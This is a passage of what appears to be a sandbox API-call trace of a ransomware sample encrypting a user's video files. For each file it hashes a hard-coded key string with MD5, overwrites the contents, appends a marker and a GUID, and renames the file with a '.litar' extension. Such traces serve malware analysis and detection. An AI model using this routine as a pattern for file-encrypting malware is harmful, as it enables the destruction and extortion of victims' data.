HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\16cC5\\VAY0f6Tek5y2drs\\9tDINHGgROIz00XY.avi.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\flfra9\\16cc5\\vay0f6tek5y2drs\\9tdinhggroiz00xy.avi.litar")) returned 1 [0127.897] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.897] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.898] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3068fd8 | out: hHeap=0x5c0000) returned 1 [0127.898] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7fac290, ftCreationTime.dwHighDateTime=0x1d4c7d1, ftLastAccessTime.dwLowDateTime=0xb1183480, ftLastAccessTime.dwHighDateTime=0x1d4cde7, ftLastWriteTime.dwLowDateTime=0xb1183480, ftLastWriteTime.dwHighDateTime=0x1d4cde7, nFileSizeHigh=0x0, nFileSizeLow=0xb348, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="gpNfbjz4.avi", cAlternateFileName="")) returned 1 [0127.898] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.898] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x106) returned 0x3068fd8 [0127.898] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.898] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\16cC5\\VAY0f6Tek5y2drs\\gpNfbjz4.avi") returned=".avi" [0127.898] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\16cC5\\VAY0f6Tek5y2drs\\gpNfbjz4.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\flfra9\\16cc5\\vay0f6tek5y2drs\\gpnfbjz4.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0127.899] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=45896) returned 1 [0127.899] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0127.900] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xb322, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.901] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0127.902] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0127.902] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.902] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.902] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0xb348, lpOverlapped=0x0) returned 1 [0127.903] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.903] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0127.903] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.903] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.903] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a06b8) returned 1 [0127.904] CryptCreateHash (in: hProv=0x6a06b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0127.904] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0127.904] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0127.904] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0127.904] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0127.904] GetLastError () returned 0x0 [0127.904] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0127.904] CryptReleaseContext (hProv=0x6a06b8, dwFlags=0x0) returned 1 [0127.904] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0127.904] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb350) returned 0x30fa0b0 [0127.904] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0127.904] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.904] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0xb343, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0xb343, lpOverlapped=0x0) returned 1 [0127.905] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.905] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xb348, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.905] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0127.905] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30557d8 [0127.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30557d8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0127.905] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0127.905] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30557d8 | out: hHeap=0x5c0000) returned 1 [0127.905] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0127.905] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0127.905] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.905] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.905] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0127.905] CloseHandle (hObject=0x624) returned 1 [0127.906] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020cc8 [0127.906] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8d0) returned 0x30fa0b0 [0127.906] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020cc8 | out: hHeap=0x5c0000) returned 1 [0127.906] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\16cC5\\VAY0f6Tek5y2drs\\gpNfbjz4.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\flfra9\\16cc5\\vay0f6tek5y2drs\\gpnfbjz4.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\16cC5\\VAY0f6Tek5y2drs\\gpNfbjz4.avi.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\flfra9\\16cc5\\vay0f6tek5y2drs\\gpnfbjz4.avi.litar")) returned 1 [0127.907] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.907] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.908] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3068fd8 | out: hHeap=0x5c0000) returned 1 [0127.908] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71cfccd0, ftCreationTime.dwHighDateTime=0x1d4d2be, ftLastAccessTime.dwLowDateTime=0x41da41e0, ftLastAccessTime.dwHighDateTime=0x1d4d13d, ftLastWriteTime.dwLowDateTime=0x41da41e0, ftLastWriteTime.dwHighDateTime=0x1d4d13d, nFileSizeHigh=0x0, nFileSizeLow=0x1619b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qTnRlL.swf", cAlternateFileName="")) returned 1 [0127.908] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.908] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x106) returned 0x3068fd8 [0127.908] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.908] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\16cC5\\VAY0f6Tek5y2drs\\qTnRlL.swf") returned=".swf" [0127.908] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\16cC5\\VAY0f6Tek5y2drs\\qTnRlL.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\flfra9\\16cc5\\vay0f6tek5y2drs\\qtnrll.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0127.908] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=90523) returned 1 [0127.908] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0127.910] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x16175, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.910] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0127.913] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0127.913] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.913] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.913] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x1619b, lpOverlapped=0x0) returned 1 [0127.914] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.914] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0127.914] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.914] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.914] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a06b8) returned 1 [0127.915] CryptCreateHash (in: hProv=0x6a06b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0127.915] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0127.915] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0127.915] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0127.915] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0127.915] GetLastError () returned 0x0 [0127.915] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0127.915] CryptReleaseContext (hProv=0x6a06b8, dwFlags=0x0) returned 1 [0127.915] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0127.915] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x161a0) returned 0x30fa0b0 [0127.915] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0127.915] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.915] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x16196, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x16196, lpOverlapped=0x0) returned 1 [0127.916] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.916] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1619b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.916] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0127.916] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30557d8 [0127.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30557d8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0127.916] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0127.916] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30557d8 | out: hHeap=0x5c0000) returned 1 [0127.916] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0127.916] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0127.916] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.916] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.916] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0127.916] CloseHandle (hObject=0x624) returned 1 [0127.917] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020cc8 [0127.917] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8d0) returned 0x30fa0b0 [0127.917] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020cc8 | out: hHeap=0x5c0000) returned 1 [0127.918] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\16cC5\\VAY0f6Tek5y2drs\\qTnRlL.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\flfra9\\16cc5\\vay0f6tek5y2drs\\qtnrll.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\16cC5\\VAY0f6Tek5y2drs\\qTnRlL.swf.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\flfra9\\16cc5\\vay0f6tek5y2drs\\qtnrll.swf.litar")) returned 1 [0127.918] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.918] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.919] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3068fd8 | out: hHeap=0x5c0000) returned 1 [0127.919] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ceb7bb0, ftCreationTime.dwHighDateTime=0x1d4c63c, ftLastAccessTime.dwLowDateTime=0x6ba45770, ftLastAccessTime.dwHighDateTime=0x1d4ce8d, ftLastWriteTime.dwLowDateTime=0x6ba45770, ftLastWriteTime.dwHighDateTime=0x1d4ce8d, nFileSizeHigh=0x0, nFileSizeLow=0x1590d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tMaPYPi5JgUXP1XW.flv", cAlternateFileName="TMAPYP~1.FLV")) returned 1 [0127.919] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.919] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x106) returned 0x3068fd8 [0127.919] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.919] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\16cC5\\VAY0f6Tek5y2drs\\tMaPYPi5JgUXP1XW.flv") returned=".flv" [0127.919] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\16cC5\\VAY0f6Tek5y2drs\\tMaPYPi5JgUXP1XW.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\flfra9\\16cc5\\vay0f6tek5y2drs\\tmapypi5jguxp1xw.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0127.920] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=88333) returned 1 [0127.920] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0127.922] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x158e7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.922] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0127.924] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0127.924] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.924] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.924] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x1590d, lpOverlapped=0x0) returned 1 [0127.925] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.925] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0127.925] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.925] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.925] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a06b8) returned 1 [0127.926] CryptCreateHash (in: hProv=0x6a06b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0127.926] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0127.926] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0127.926] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0127.926] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0127.926] GetLastError () returned 0x0 [0127.926] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0127.926] CryptReleaseContext (hProv=0x6a06b8, dwFlags=0x0) returned 1 [0127.926] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0127.926] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x15910) returned 0x30fa0b0 [0127.926] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0127.926] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.926] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x15908, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x15908, lpOverlapped=0x0) returned 1 [0127.927] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.927] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1590d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.927] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0127.927] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30557d8 [0127.927] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30557d8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0127.927] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0127.927] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30557d8 | out: hHeap=0x5c0000) returned 1 [0127.927] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0127.927] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0127.927] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.927] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.927] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0127.927] CloseHandle (hObject=0x624) returned 1 [0127.928] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xd0) returned 0x30072c8 [0127.929] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8e0) returned 0x30fa0b0 [0127.929] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30072c8 | out: hHeap=0x5c0000) returned 1 [0127.929] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\16cC5\\VAY0f6Tek5y2drs\\tMaPYPi5JgUXP1XW.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\flfra9\\16cc5\\vay0f6tek5y2drs\\tmapypi5jguxp1xw.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\16cC5\\VAY0f6Tek5y2drs\\tMaPYPi5JgUXP1XW.flv.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\flfra9\\16cc5\\vay0f6tek5y2drs\\tmapypi5jguxp1xw.flv.litar")) returned 1 [0127.929] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.929] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.930] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3068fd8 | out: hHeap=0x5c0000) returned 1 [0127.930] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, 